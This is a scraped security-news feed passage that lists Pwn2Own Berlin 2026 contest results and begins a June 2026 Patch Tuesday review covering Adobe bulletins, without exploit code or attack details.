              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png" data-image-dimensions="1016x888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1000w" width="1016" height="888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Marcin Wiązowski used a heap-based buffer overflow to escalate privileges on Microsoft Windows 11 in the second round, earning $15,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png" data-image-dimensions="3449x2586" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1000w" width="3449" height="2586" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Qrious Secure (@qriousec) has withdrawn their entry for LM Studio in the Local Inference category.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Chompie of IBM X-Force Offensive Research (XOR) used a race condition to escalate privileges on Red Hat Enterprise Linux for Workstations, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg" data-image-dimensions="1767x1330" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=1000w" width="1767" height="1330" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category used a bug that was previously known to the vendor. They still earn $20,000 and 2 Master of Pwn points</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg" data-image-dimensions="3024x4032" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=1000w" width="3024" height="4032" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg" data-image-dimensions="3024x4032" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=1000w" width="3024" height="4032" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - haehae (@haehaeYang) of Out Of Bounds used a Path Traversal bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points. Full win!</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Kentaro Kawane of GMO Cybersecurity by Ierae chained 2 Use-After-Free bugs to escalate privileges on Microsoft Windows 11 in the third round, earning $15,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png" data-image-dimensions="4162x3121" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=1000w" width="4162" height="3121" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
